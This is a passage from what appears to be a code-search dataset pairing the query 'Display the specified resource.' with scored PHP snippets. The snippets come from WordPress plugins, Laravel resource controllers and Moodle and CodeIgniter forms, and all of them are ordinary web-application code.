"0.5206554", "text": "function hide_wp_toolbar_set($toolbar_css_class){\n\n\t// set toolbar status in transient\n\t$toolbar_status = 'shown';\n\t$transient_name\t= 'hide_wp_toolbar_status';\n\t$transient_exp\t= 60 * 60 * 24 * 7; // 7 days\n\n\tif($toolbar_css_class == 'hide-wp-toolbar'){\n\t\t$toolbar_status = 'hidden';\n\t}\n\n\tset_transient( $transient_name, $toolbar_status, $transient_exp );\n\n}", "title": "" }, { "docid": "a2a271720c36f6e7fe29c1fb133da219", "score": "0.5205974", "text": "function lm_deactivation() {\r\n\tdelete_option( 'lm_settings' );\r\n\t//delete_option( 'lm_logos' );\r\n}", "title": "" }, { "docid": "a4e0ba9d6d114cbfbf87a612ded851fc", "score": "0.5205101", "text": "public function displayAdminPanel() {}", "title": "" }, { "docid": "9827f7a5540c6edec49f985e1f06f0f8", "score": "0.5200173", "text": "public function initToolbar()\n {\n parent::initToolbar();\n unset($this->toolbar_btn['new']);\n }", "title": "" }, { "docid": "9827f7a5540c6edec49f985e1f06f0f8", "score": "0.5200173", "text": "public function initToolbar()\n {\n parent::initToolbar();\n unset($this->toolbar_btn['new']);\n }", "title": "" }, { "docid": "40f0e82489c32cbfe0428fd56885ee81", "score": "0.5198377", "text": "function closeadmin()\r\r\n{\r\n}", "title": "" }, { "docid": "850d53c07901c0083a427fac41a84aaa", "score": "0.5196163", "text": "function snax_show_create_button() {\n\treturn apply_filters( 'snax_show_create_button', true );\n}", "title": "" }, { "docid": "3158f806641a0da7544e5a2ac6253d81", "score": "0.5194282", "text": "public function ReadyForEdit()\n {\n }", "title": "" }, { "docid": "2df16b59418c37c0719520ba7dd03a43", "score": "0.5189913", "text": "function maybe_disable_automattic_widgets()\n{\n}", "title": "" }, { "docid": "4c4b6753bc62fba319cd39530751bc7e", "score": "0.5189768", "text": "public function toggle(): void\n {\n $this->open = !$this->open;\n }", "title": "" }, { "docid": "5e62b18317e9a5ef52d5b7a13a59c87e", "score": "0.5189314", "text": "function deactivate_bf_wp_toolkit()\n {\n require_once plugin_dir_path(__FILE__) . 'includes/deactivator.php';\n BFWPToolkit_Deactivate::deactivate();\n }", "title": "" }, { "docid": "5dee18d239fbb0d0d938197f138f05aa", "score": "0.5184548", "text": "protected function initButtons()\n {\n if ($this->is_new) {\n\n $this->setTitle($this->pl->txt('_create'));\n $this->addCommandButton(xlcdLocationGUI::CMD_CREATE, $this->pl->txt('_create'));\n } else {\n $this->setTitle($this->pl->txt('_edit'));\n $this->addCommandButton(xlcdLocationGUI::CMD_UPDATE, $this->pl->txt('_update'));\n }\n $this->addCommandButton(xlcdLocationGUI::CMD_CANCEL, $this->pl->txt('_cancel'));\n }", "title": "" }, { "docid": "ee15e0ac69c34fbd74110b8024443dcc", "score": "0.51802695", "text": "public function enableExportButtons()\n {\n $this->export_buttons = true;\n }", "title": "" }, { "docid": "d23714fbdfd3e4ec8f24322d8fbe6e07", "score": "0.517526", "text": "public function detailCloseModal()\n {\n $this->detailOpen = false;\n }", "title": "" }, { "docid": "2fdbdeaa1326158f4ddbdb8dcd45e93c", "score": "0.517525", "text": "function deactivate()\r\n { \r\n }", "title": "" }, { "docid": "51c1364fff657e8a56e27b82824d7472", "score": "0.51723397", "text": "public function disableModule()\n {\n $this->setConfigValue('newrelicreporting/general/enable', 0);\n }", "title": "" }, { "docid": "ae867e1c3e90d638625b4239beaac188", "score": "0.51716465", "text": "public function df_menu() {\n\t\tadd_submenu_page( 'options.php', 'Developer Fuel', 'Developer Fuel', 'delete_plugins', 'df-settings', array( $this, 'df_settings' ) );\n\t}", "title": "" }, { "docid": "c3e7d98350863a024ce5d322da782913", "score": "0.5171569", "text": "public function definition_after_data() {\n global $COURSE;\n\n // Start process core datas (conditions, etc.).\n parent::definition_after_data();\n\n /*\n * This gets called more than once, and there's no way to tell which time this is, so set a\n * variable to make it as called so we only do this processing once.\n */\n if (!empty($this->def_after_data_done)) {\n return;\n }\n $this->def_after_data_done = true;\n\n $mform =& $this->_form;\n $fdata = $mform->getSubmitValues();\n\n /*\n * Get the existing linked activities from the database, unless this form has resubmitted itself, in\n * which case they will be in the form already.\n */\n $moduleids = array();\n $rt = \\report\\trainingsessions\\trainingsessions::instance();\n\n if (empty($fdata)) {\n if ($linkedmodules = $rt->get_graded_modules($COURSE->id)) {\n foreach ($linkedmodules as $cidx => $cmid) {\n if ($cmid > 0) {\n $moduleids[$cidx] = $cmid;\n }\n }\n }\n } else {\n if (isset($fdata['moduleid'])) {\n foreach ($fdata['moduleid'] as $cidx => $cmid) {\n if ($cmid > 0) {\n $moduleids[$cidx] = $cmid;\n }\n }\n }\n }\n\n if (isset($fdata['linkablemodules']) && is_array($fdata['linkablemodules'])) {\n foreach ($fdata['linkablemodules'] as $linkablemodule) {\n $moduleids[] = $linkablemodule;\n }\n }\n $moduleids = array_unique($moduleids);\n $ix = 0;\n foreach ($moduleids as $cidx => $modid) {\n $formgroup = array();\n $choices = array(\n '' => get_string('disabled', 'report_trainingsessions'),\n $modid => $this->linkablemodules[$modid]\n );\n $formgroup[] = &$mform->createElement('select', 'moduleid['.$ix.']', '', $choices);\n $mform->setDefault('moduleid['.$ix.']', $modid);\n $formgroup[] = & $mform->createElement('text', 'scorelabel['.$ix.']', '', array('maxlength' => 60));\n $mform->setType('scorelabel['.$ix.']', PARAM_TEXT);\n $label = get_string('modgrade', 'report_trainingsessions', ($ix + 1));\n $padding = array(' '.get_string('columnname', 'report_trainingsessions'));\n $group =& $mform->createElement('group', 'modgrade'.$ix, $label, $formgroup, $padding, false);\n $mform->insertElementBefore($group, 'addmodule');\n $ix++;\n }\n\n $availablemodules = $this->linkablemodules;\n unset($availablemodules[0]);\n $label = get_string('availableactivities', 'report_trainingsessions');\n $linkablemodules = $mform->createElement('select', 'linkablemodules', $label, $availablemodules, array('size' => 10));\n $linkablemodules->setMultiple(true);\n\n $formgroup[] = $linkablemodules;\n $mform->insertElementBefore($linkablemodules, 'addmodule');\n }", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "4c096e5665c527286b0840e86ffe4237", "score": "0.0", "text": "public function show(Post $post)\n {\n // $post=DB::select('select * from posts where id = ?', [$id]);\n // dd($post);//印出來看一下有沒有到東西\n $data=[\n 'post'=>$post,\n ];\n return view('posts.show',$data);\n }", "title": "" } ]
[ { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "fa12d91e9349fafc5fadd2869e01afe7", "score": "0.81538695", "text": "public function show(Resource $resource) {\n //\n }", "title": "" }, { "docid": "364c14abc03f539e9a17828c2c3c5094", "score": "0.7142873", "text": "protected function makeDisplayFromResource()\n\t{\n\t\treturn $this->activeResource->makeDisplay();\n\t}", "title": "" }, { "docid": "c32c82f3c9f666d7ebd6a4a17c715dde", "score": "0.71033037", "text": "public function show(App\\Resource $resource){\n return $resource;\n }", "title": "" }, { "docid": "63ed4e18ae3ec83b0374866b78fa0cb2", "score": "0.69621414", "text": "public function show(Resources $resources)\n {\n //\n }", "title": "" }, { "docid": "028815e256d04884fbfd1abcd49553a0", "score": "0.6881821", "text": "public function show(ResourceInterface $resource)\n\t{\n if(Auth::user()->can('show', $resource)) {\n $variables = [];\n $variables['extends'] = Config::get('roles::extends');\n $variables['resource'] = $resource;\n $response = View::make('roles::resource.show', $variables);\n } else {\n $errors = new MessageBag();\n $errors->add('error', trans('roles::resource.show permission denied'));\n $response = Redirect::back()->withErrors($errors);\n }\n\n return $response;\n\t}", "title": "" }, { "docid": "72eb4a0f938598778f7d1bb6c9a7c01a", "score": "0.6460539", "text": "public function show(Res $res)\n {\n //\n }", "title": "" }, { "docid": "f9c75fc80c4e08207bdf6a688293bd30", "score": "0.64507407", "text": "public function actionDisplay() {\n global $mainframe, $user;\n if (!$user->isSuperAdmin()) {\n YiiMessage::raseNotice(\"Your account not have permission to visit page\");\n $this->redirect(Router::buildLink(\"cpanel\"));\n }\n $this->addIconToolbar(\"New\", Router::buildLink(\"users\",array('view'=>'resource','layout'=>'new')), \"new\");\n $this->addIconToolbar(\"Edit\", Router::buildLink(\"users\",array('view'=>'resource','layout'=>'edit')), \"edit\", 1, 1, \"Please select a item from the list to edit\"); \n $this->addIconToolbar(\"Publish\", Router::buildLink(\"users\",array('view'=>'resource','layout'=>'publish')), \"publish\");\n $this->addIconToolbar(\"Unpublish\", Router::buildLink(\"users\",array('view'=>'resource','layout'=>'unpublish')), \"unpublish\");\n $this->addIconToolbar(\"Delete\", Router::buildLink(\"users\",array('view'=>'resource','layout'=>'remove')), \"trash\", 1, 1, \"Please select a item from the list to Remove\"); \n $this->addBarTitle(\"Resource <small>[tree]</small>\", \"user\"); \n \n $model = Resource::getInstance();\n $items = $model->getItems();\n \n $this->render('default', array('items'=>$items));\n }", "title": "" }, { "docid": "9a30795d980babc94eaea5f358f9a346", "score": "0.6348493", "text": "public function view($id = null) {\n $resource = $this->resources[$id];\n $this->set(array('resource' => $resource, '_serialize' => 'resource'));\n }", "title": "" }, { "docid": "2fcca60eabc9fa263815bdb0af23227b", "score": "0.6310235", "text": "public function show($title)\n {\n $searchTerm = DB::table('searches')->where('query', '* '.$title)->first();\n if (isset($searchTerm)) $accesses = $searchTerm->accesses;\n $resource = Resource::where('title', '=', $title)->first();\n if (isset($resource)){\n return view('resources.show')\n ->with('title', $resource->title)\n ->with('body', $resource->body)\n ->with('accesses', $accesses); \n }\n else return \"resource not found\";\n }", "title": "" }, { "docid": "d88de1aa779e246b7fddebd9a98ba96d", "score": "0.6300392", "text": "public function resource($resource);", "title": "" }, { "docid": "5ff14c79a9b59fe32898fb8081a44d38", "score": "0.62861", "text": "public function show($id)\n {\n //abort('404');\n //$resource = Resource::find($id);\n\n // To throw an exception\n //$resource = Resource::findOrFail($id);\n $resource = Resource::find($id);\n if ( ! $resource) {\n // I think findOPrFail is equivalent\n abort(404); # @TODO Check what happens here and compare with the findOrFail\n }\n //dd($resource);\n return view('resources.show', compact('resource'));\n }", "title": "" }, { "docid": "3b18817b82995fa8322e3e648666dc69", "score": "0.62845415", "text": "public function show() {\n\t\tstatus_header(200);\n\t\t\n\t\tparent::show();\n\t}", "title": "" }, { "docid": "ba5a2c7902e0156425e3dea1470df9a3", "score": "0.6231386", "text": "public function show($id)\n {\n return \"This is show controller resource showing ID: \". $id;\n }", "title": "" }, { "docid": "9f4baef36bbd297dd8826a3cf4c65825", "score": "0.6228845", "text": "public function show($id)\n {\n $resource = Resource::findOrFail($id);\n $model = $resource;\n\n return view('backend.resources.show', compact('resource', 'model'));\n }", "title": "" }, { "docid": "6bca27d0e9ea5eb6ef16196ace65c00a", "score": "0.6185019", "text": "public function show($resource) {\n $id = $this->getUserIdByResource($resource);\n return $id ? $this->user->find($id) : $this->noSuchUserResponse();\n }", "title": "" }, { "docid": "cbf3bf22b6453f9015dd8d3552392655", "score": "0.6155763", "text": "protected function showResourceView($id)\n\t{\n\n\t\t$element = $this->getElements($id);\n\t\treturn Response::view('adm/IAS/element', array('data' => $element));\n\n\t}", "title": "" }, { "docid": "7ee4932d24e9f896454c46b5725bca09", "score": "0.61360765", "text": "public function resourceAction ()\n { \n $this->setRefer(); // Set auth referer\n \n $this->view->params = $this->_request->getParams(); // Pass params to view\n \n $resourceid = $this->_request->getParam('id'); // Get Article ID from params\n \n if (isset($resourceid)) : // If resource ID set continue\n \n\t\t // Setup Registry\n \t $registry = Zend_Registry::getInstance();\n \t\n \t // Get Article data\n \t $select = $registry->db->select()\n \t\t\t\t\t ->from(array('r' => 'resources'))\n\t\t\t\t \t\t ->join(array('c' => 'resources_categories'),'r.resource_category = c.rcat_id',array('c.rcat_title'))\n\t\t\t\t \t\t ->join(array('t' => 'resources_types'),'t.rtype_id = r.resource_type')\n\t\t\t\t \t\t ->join(array('b' => 'resources_brands'),'b.rbrand_id = r.resource_brand',array('b.rbrand_title','b.rbrand_id'))\n\t\t\t\t \t\t ->where('r.resource_status = ?','published')\n\t\t\t\t \t \t ->where('r.resource_id = ?',$resourceid)\n \t\t\t\t\t ->limit(1,0);\n\n \t // Set the data array\n\t\t $resourceArray = $registry->db->fetchall($select);\n\t\t\n\t\t if (count($resourceArray)) : // If resource exists\n\n // Pass Resource to View \n\t\t $this->view->resourceArray = $resourceArray[0];\n \n else : // Else redirect to 404 Error\n \n \t $this->_helper->layout->setLayout('main');\t \n $this->_forward('notfound','error','default');\n \n endif;\n \n $this->view->comment = NULL; // Reset the comment value\n \n if($this->_request->isPost()) // If form has been posted\n {\n if ($this->view->authenticated) // The user is authenticated\n {\n $options = array();\n\n $filters = array(\n \t\t\t'content' => array('StringTrim', 'StripTags')\n );\n\n $validators = array(\n 'content' => array(\n \t\t'presence' => 'required',\n \t\t'NotEmpty',\n \t\t\t'messages' => array(array( Zend_Validate_NotEmpty::IS_EMPTY => \"You did not enter a comment\"))\n ),\n );\n\n $input = new Zend_Filter_Input($filters, $validators, $_POST, $options);\n \n // setup database\n \t $registry = Zend_Registry::getInstance();\n\n if ($input->isValid()) // If the form input validates\n {\n // Set moderation variable\n if($this->view->resourceArray['resource_moderate'] == 'Y') :\n $approved = 'N';\n else :\n $approved = 'Y';\n endif;\n \n // Create our data array\n $data = array(\n \t'comment_type' => 'R',\n \t\t\t\t\t\t'comment_slave' => $this->view->resourceArray['resource_id'],\n \t\t\t\t\t\t'comment_approved' => $approved,\n \t\t\t'comment_content'\t=> $input->content,\n \t\t\t'comment_user'\t => $this->view->user->user_id,\n \t\t\t'comment_date'\t\t=> new Zend_Db_Expr('NOW()')\n );\n\n // Insert data into database\n $registry->db->insert('comments', $data);\n \n } else { // If input is invalid\n $this->view->messages = $input->getMessages(); // Pass Messages to view\n $this->view->comment = $_POST['content']; // Set value of message to match input\n }\n }\n }\n \n // Get Comments\n \t $select = $registry->db->select()\n \t\t\t\t\t ->from(array('c' => 'comments'),array('c.*'))\n\t\t\t\t \t\t ->join(array('u' => 'users'),'c.comment_user = u.user_id',array('u.user_alias','u.user_role'))\n\t\t\t\t \t\t ->where('comment_approved = ?','Y')\n\t\t\t\t \t\t ->where('comment_type = ?','R')\n\t\t\t\t \t\t ->where('comment_slave = ?',$resourceid)\n \t\t\t\t\t ->order('c.comment_date ASC');\n\n \t // Pass the comments to view\n\t\t $this->view->commentsArray = $registry->db->fetchall($select);\n\t\t\n\t\telse : // Else if Article ID not set redirect to 404 Error\n \n $this->_helper->layout->setLayout('main');\t \n $this->_forward('notfound','error','default');\n \n endif;\n }", "title": "" }, { "docid": "947c1c8f23ecc67503ddd9aaa8d0c053", "score": "0.6131235", "text": "public abstract function display(Response $response);", "title": "" }, { "docid": "d48eea5127e3c179d902a8be0b6f8468", "score": "0.6094903", "text": "public function show($id)\n {\n $resource = Resource::find($id);\n if (is_null($resource)) {\n return redirect()->route('resources.index');\n }\n return view(\n 'resources.show',\n ['resource' => $resource]\n );\n }", "title": "" }, { "docid": "15870f022600bd008a2dda714833e3a8", "score": "0.60690975", "text": "public function display() {\n\n\t\t$this->displayRequest();\n\t\tprint '<br /><br />';\n\t\t$this->displayResponse();\n\t}", "title": "" }, { "docid": "2c4681f3d2ea72046a4a8fbabafd2fda", "score": "0.60642564", "text": "public function viewResource($slug)\n {\n if ($resource = Resource::findBySlug($slug)) {\n // No se utiliza el metodo each() por que se trata de un solo recurso, no es necesario hacer un recorrido.\n $resource->category;\n $resource->tags;\n $resource->book;\n\n $ay_tags = $resource->tags;\n\n $actual_link = 'http://'.$_SERVER['HTTP_HOST'].'/resources/'.$slug;\n\n return view('front.resource')\n ->with('resource', $resource)\n ->with('ay_tags', $ay_tags)\n ->with('actual_link', $actual_link);\n }\n else {\n abort(404);\n }\n }", "title": "" }, { "docid": "f1919612984d797496fb91a1df6bfc28", "score": "0.60360175", "text": "public function show(Resident $resident)\n {\n //\n }", "title": "" }, { "docid": "ddc28327288006b3d29c6bdc8761ca44", "score": "0.598783", "text": "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "title": "" }, { "docid": "d091fe2536049092c575a390aa36ed46", "score": "0.5972", "text": "public function display()\n {\n switch ($this->platform->getPost('section')) {\n case 'download':\n $this->downloadAction();\n break;\n \n case 'remove_backup':\n $this->deleteBackupsAction();\n break;\n \n case 'backup_note':\n $this->updateBackupNoteAction();\n break;\n \n case 'restore_db':\n $this->restoreDbAction();\n break;\n }\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "53013b6882d008888ea7afca1b751f49", "score": "0.5934595", "text": "function render_individual_resource_page($v, $url){\n\tglobal $wpdb;\n\n\t// specify the template file to use\n\t$v->template = 'resource';\n\n\t// include the helper\n\trequire_once('helper.php');\n\n\t// create a resource object\n\t$resource = new en_Resource();\n\n\t// determine the slug, load it into the object\n\t$uri = $_SERVER['REQUEST_URI'];\n\t$slug = substr($uri, 11);\n\t$end = strrpos($slug, '/');\n\t$end = ($end ? $end : strrpos($slug, '.'));\n\tif($end){\n\t\t$slug = substr($slug, 0, $end);\n\t}\n\t$resource->slug = $slug;\n\n\t// load the resource data from the database\n\t$resource->load();\n\n\t// check that such a resource exists\n\t$v->body = '';\n\t$v->title = 'No resource Found';\n\tif($resource->name != '' && $resource->status == 'publish'){\n\t\t// load the name\n\t\t$v->title = $resource->name;\n\t}\n\n\t$_SESSION['en_resource'] = $resource;\n}", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "0d00cd39f55015604f557b3b7ebf1eca", "score": "0.5876515", "text": "public function show($id)\n\t{\n\t\t$resources = $this->resourcesRepository->find($id);\n\n\t\tif(empty($resources))\n\t\t{\n\t\t\tFlash::error('Resources not found');\n\n\t\t\treturn redirect(route('resources.index'));\n\t\t}\n\n\t\treturn view('resources.show')->with('resources', $resources);\n\t}", "title": "" }, { "docid": "d752fd3972b546ef194ae14ab221ca30", "score": "0.58688277", "text": "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "title": "" }, { "docid": "62de9bb9e8014b878862d1b3e9dfd27c", "score": "0.5865432", "text": "public function showResourcesPage()\n {\n $mTitle = $this->_mTitle;\n $title = trans(\"admin.resources\");\n $data = ['mTitle', 'title'];\n return view('home.resources')\n ->with(compact($data)); \n }", "title": "" }, { "docid": "7c25d9175a0b8f2be9a3f3b0c4a64c29", "score": "0.5860501", "text": "public function showAction()\r\n\t{\r\n\t\t$this->loadLayout()->renderLayout();\r\n\t}", "title": "" }, { "docid": "e1c49860e31b5bc5d738e44a442665de", "score": "0.58473253", "text": "public function displayAction()\n\t{\t// Look up policy with the given url parameters\n\t\t$policy = $this->db->getPolicy($this->_getParam('page'));\n\t\t$this->view->policy = $policy;\n\t}", "title": "" }, { "docid": "5a5e25617e1019b0143435d1dcee143b", "score": "0.58304006", "text": "public function edit(Resource $resource) {\n $resource = Resource::find($resource->id);\n return view('resources.edit', compact('resource'));\n }", "title": "" }, { "docid": "305f64db85d64f68019d2fadcd0a85d2", "score": "0.58012545", "text": "public function show()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "55ebb313f26c5900b8cfe594dfa4e5eb", "score": "0.57751614", "text": "public function display() {\n\t\techo $this->render();\n\t}", "title": "" }, { "docid": "4de642a6f69c75724da5f78bd193b43e", "score": "0.57721317", "text": "public function display($name)\n {\n echo $this->fetch($name);\n }", "title": "" }, { "docid": "34a8fc606e2e5031dcfc0be2c4eda232", "score": "0.5769309", "text": "function resource($resource_id)\n\t{\n\t\t# Call model function to get resource record\n\t\t$q = $this -> ResourceDB_model -> get_resource_detail($resource_id);\n\t\t# Check that it exists (in case of URL editing in the browser)\n\t\tif ($q -> num_rows() == 0) \n\t\t{ \n\t\t\t$data['title'] = \"No such resource\"; $data['heading'] = \"Resource not found\"; \n\t\t\t$data['error'] = \"There is no resource with the ID $resource_id. Tough mazoomas.\n\t\t\t\t\t\t\t\tPlease choose another resource to edit.\"; \n\t\t\t$data['message'] = \"\";\n\t\t\t$this -> load -> view('resourcedb/database_error_view', $data);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$resource_title = $q -> row() -> title;\n\t\t\t$data['title'] = \"Edit resource \" . $resource_title;\n\t\t\t$data['heading'] = \"Edit resource \" . $resource_title;\n\t\t\t$data['resource__id'] = $resource_id; \n\t\t\t\n\t\t\t# Get the user ID to save as record editor\n\t\t\t$user_id = $this->ion_auth->user()->row()-> id;\n\t\t\t# Set messages for the view file\n\t\t\t$data['title'] = 'Global health repository: edit resource';\n\t\t\t$data['heading'] = 'Edit resource';\n\t\t\t# Set user message and error as blanks, to prevent PHP warning if one or t'other isn't set\n\t\t\t$data['message'] = \"\"; $data['error'] = \"\";\n\t\t\t\n\t\t\t# Populate form elements.\n\t\t\t# Get full resource record first \n\t\t\t$data['resource_detail_query'] = $this -> ResourceDB_model -> get_resource_detail($resource_id);\n\n\t\t\t# -- SUBJECTS ---\n\t\t\t# Get all subjects in the database, to display in the 'subjects' <div> in the view\n\t\t\t# False param indicates that all subjects should be returned, not just those 'in use'\n\t\t\t# by existing resources\n\t\t\t$data['subjects_query'] = $this -> ResourceDB_model -> get_subjects(false);\n\t\t\t# Get subjects attached to this resource, if any. These will be selected in the view\n\t\t\t$attached_subjects_query = $this -> ResourceDB_model -> get_resource_subjects($resource_id);\n\t\t\t$old_subjects_ary = array();\n\t\t\t# Create 2-D array, subject IDs as keys, subject titles as values\n\t\t\tforeach ($attached_subjects_query -> result() as $row)\n\t\t\t{\n\t\t\t\t$old_subjects_ary[$row -> id] = $row -> title;\n\t\t\t}\n\t\t\t# Pass currently attached subjects to the view page\n\t\t\t$data['attached_subjects_ary'] = $old_subjects_ary;\t\t\t\n\t\t\t\n\t\t\t# -- ORIGINS --\n\t\t\t$data['origins_query'] = $this -> ResourceDB_model -> get_origins();\n\n\t\t\t# -- RESOURCE TYPES ---\n\t\t\t$data['resource_types_query'] = $this -> ResourceDB_model -> get_resource_types();\n\t\t\t\n\t\t\t# -- TAGS --\n\t\t\t# Get all tags attached to this resource, both to use in the view and in this script\n\t\t\t# Note: only tag names stored as IDs aren't used in this script or the view\n\t\t\t$tags_query = $this -> ResourceDB_model -> get_resource_tags($resource_id);\n\t\t\t$old_tags_ary = array();\n\t\t\tforeach ($tags_query -> result() as $row)\n\t\t\t{\n\t\t\t\t$old_tags_ary[] = $row -> name;\t\n\t\t\t}\n\t\t\t$data['tags_ary'] = $old_tags_ary; \n\t\t\t\n\t\t\t# ==== FORM VALIDATION ======\n\t\t\t# Note that set_value() to repopulate the form *only* works on elements with \n\t\t\t# validation rules, hence a rul for all elements below. See CI Forum thread at:\n\t\t\t# http://codeigniter.com/forums/viewthread/170221/\n\n\t\t\t# NB: The callback function to check the title has the existing title as a 'parameter' in \n\t\t\t# sqare brackets, as just checking for the title existing would always \n\t\t\t# return true - we need to check that the edited title exists or not. \n\t\t\t$this->form_validation->set_rules('title', 'Title', \"required|trim|xss_clean|callback_title_check[$resource_title]\");\n\t\t\t$this->form_validation->set_rules('url', 'URL', 'required|trim|xss_clean|prep_url');\n\t\t\t$this->form_validation->set_rules('description', 'Description', 'required|xss_clean');\n\t\t\t$this->form_validation->set_rules('tags', 'Tags', 'trim|xss_clean');\n\t\t\t$this->form_validation->set_rules('creator', 'Creator', 'trim|xss_clean');\n\t\t\t$this->form_validation->set_rules('rights', 'Rights', 'trim|xss_clean');\t\t\n\t\t\t$this->form_validation->set_rules('notes', 'Notes', 'trim|xss_clean');\t\t\n\t\t\t\n\t\t\t# If the form doesn't validate, or indeed hasn't even been submitted, \n\t\t\t# (re)populate with user data\n\t\t\tif ($this->form_validation->run() == FALSE)\n\t\t\t{\n\t\t\t\t$data ['error'] = validation_errors();\t\n\t\t\t\t$this -> load -> view('resourcedb/editview', $data);\n\n\t\t\t}\n\t\t\t# If form validates, update record\n\t\t\telse\n\t\t\t{\n\t\t\t\t# Get form values for fields in RESOURCE table\n\t\t\t\t# What's the current date and time? Use the date helper - \n\t\t\t\t# now() returns current time as Unix timestamp, unix_to_human\n\t\t\t\t# converts it to YYYY-MM-DD HH:MM:SS which mySQL needs for the \n\t\t\t\t# DATETIME data type\n\t\t\t\t$now = \tunix_to_human(now(), TRUE, 'eu'); // Euro time with seconds\n\t\n\t\t\t\t$record_data = array (\n\t\t\t\t\t\t\t\t'title' => $_POST['title'], \n\t\t\t\t\t\t\t\t'url' => $_POST['url'], \n\t\t\t\t\t\t\t\t'description' => $_POST['description'], \n\t\t\t\t\t\t\t\t'type' => $_POST['type'], \n\t\t\t\t\t\t\t\t'creator' => $_POST['creator'], \n\t\t\t\t\t\t\t\t'source' => $_POST['source'], \n\t\t\t\t\t\t\t\t'rights' => $_POST['rights'], \n\t\t\t\t\t\t\t\t'restricted' => $_POST['restricted'], \n\t\t\t\t\t\t\t\t'visible' => $_POST['visible'], \n\t\t\t\t\t\t\t\t'metadata_created' => $now, \n\t\t\t\t\t\t\t\t'metadata_modified' => $now, \n\t\t\t\t\t\t\t\t'metadata_author' => $user_id, \n\t\t\t\t\t\t\t\t'notes' => $_POST['notes']\t\t\t\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t# Run update query in model\n\t\t\t\t$this -> Edit_model -> update_resource($record_data, $resource_id);\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# ======== JUNCTION TABLES ==========\n\t\t\t\t# Now get form values for fields using junction tables\t\t\t\t\n\t\n\t\t\t\t# TAGS\n\t\t\t\t# First, get tag(s) user's inserted. Get cleaned field text...\n\t\t\t\t$tags = $this -> security -> xss_clean($_POST['tags']);\n\t\t\t\t# ...then split string by the semicolon delimiter...\n\t\t\t\t$tags_ary = explode(';', $tags);\n\t\t\t\t# ...then remove any duplicate tags...\t\t\t\n\t\t\t\t$tags_ary = array_unique($tags_ary);\n\t\t\t\t# ...then see if the user's removed any existing tags.\n\t\t\t\t$detached_tags_ary = $this -> compare_tags($old_tags_ary, $tags_ary);\n\t\t\t\t# Detach the tags removed from reource \n\t\t\t\t# (deleting rows in the RESOURCE_KEYWORD junction table)\n\t\t\t\tforeach($detached_tags_ary as $key => $val)\n\t\t\t\t{\n\t\t\t\t\t# Get id of tag to detach\n\t\t\t\t\t$q = $this -> ResourceDB_model -> get_tag_id($val);\n\t\t\t\t\t$tag_id = $q -> row() -> keyword_num;\n\t\t\t\t\t$this -> Edit_model -> detach_tag($resource_id, $tag_id);\n\t\t\t\t}\n\t\t\t\t# Go through user-entered tags and attach to the resource, \n\t\t\t\t# adding new tags to KEYWORDS if not already exist\n\t\t\t\t$this -> attach_tags($tags_ary, $resource_id);\n\t\t\t\t\n\t\t\t\t# SUBJECTS\n\t\t\t\t# The input form lists subjects as a series of checkboxes with the name\n\t\t\t\t# subjects[] which generates an array in POST, so go through that array\n\t\t\t\t# and 'attach' subjects to the resource in RESOURCE_SUBJECT junction table\n\t\t\t\t# First, check that any subjects are checked at all, and if not just create an \n\t\t\t\t# empty array so as not to generate a runtime error\n\t\t\t\tif (isset($_POST['subjects']))\n\t\t\t\t{ $subjects_id_ary = $_POST['subjects']; }\n\t\t\t\telse\n\t\t\t\t{ $subjects_id_ary = array(); }\n\t\t\t\t# Get an array of the IDs of subjects to detach\n\t\t\t\t$detached_subjects_id_ary = $this -> compare_subjects($old_subjects_ary, $subjects_id_ary);\n\t\t\t\tforeach ($detached_subjects_id_ary as $key => $val)\n\t\t\t\t{\n\t\t\t\t\t$this -> Edit_model -> detach_subject($resource_id, $val);\t\n\t\t\t\t}\n\n\t\t\t\tforeach ($subjects_id_ary as $val)\n\t\t\t\t{\n\t\t\t\t\t# The model function checks if subject already attached\n\t\t\t\t\t$this -> Edit_model -> attach_subject($resource_id, $val);\t\n\t\t\t\t}\n\n\t\t\t\t\n\t\t\t\t# Set messages etc for the result page\n\t\t\t\t$data['title'] = \"Edit resource: result\";\n\t\t\t\t$data['heading'] = \"Edit resource: result\";\n\t\t\t\t$data['resource_title'] = $record_data['title'];\n\t\t\t\t$data['resource_id'] = $resource_id; \n\t\t\t\t$data['message'] = 'Record edited ok'; \t\n\t\t\t\t# Load results page with data array\n\t\t\t\t$this->load->view('resourcedb/edit_result_view', $data);\n\t\t\t} // end if validates\n\t\t} // end else \n\t\t\n\t}", "title": "" }, { "docid": "64ca047c763cbf564dd5de6f46e00c8a", "score": "0.5757105", "text": "public function display(){}", "title": "" }, { "docid": "428d435450a183e9f2b1cf67fe4ca1ee", "score": "0.5746211", "text": "public function showAction($id)\n {\n }", "title": "" }, { "docid": "25fef2b3e221da4874ce751e7620e1b8", "score": "0.57376534", "text": "public function show($id)\n {\t\n\t\t//\n \n }", "title": "" }, { "docid": "8f15cdd2f287675d36c7b7df028043ec", "score": "0.5736634", "text": "public function show($id)\n\t{\n\t//\n\t}", "title": "" }, { "docid": "dbfb7ac40503919a18ba680b317c5bcf", "score": "0.57300025", "text": "function show()\r\n\t{\r\n\t\tparent::display();\r\n\t}", "title": "" }, { "docid": "6ec9b736dc660b1af85b3d3e6b5c2891", "score": "0.5728069", "text": "public function showAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('FklFranklinBundle:Intervention')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Intervention entity.');\n }\n\n return $this->render('FklFranklinBundle:Intervention:show.html.twig', array(\n 'entity' => $entity,\n ));\n }", "title": "" }, { "docid": "20397e06b8673db8692c5f84120c3011", "score": "0.5724891", "text": "public function show()\n\t{\n\n\t}", "title": "" }, { "docid": 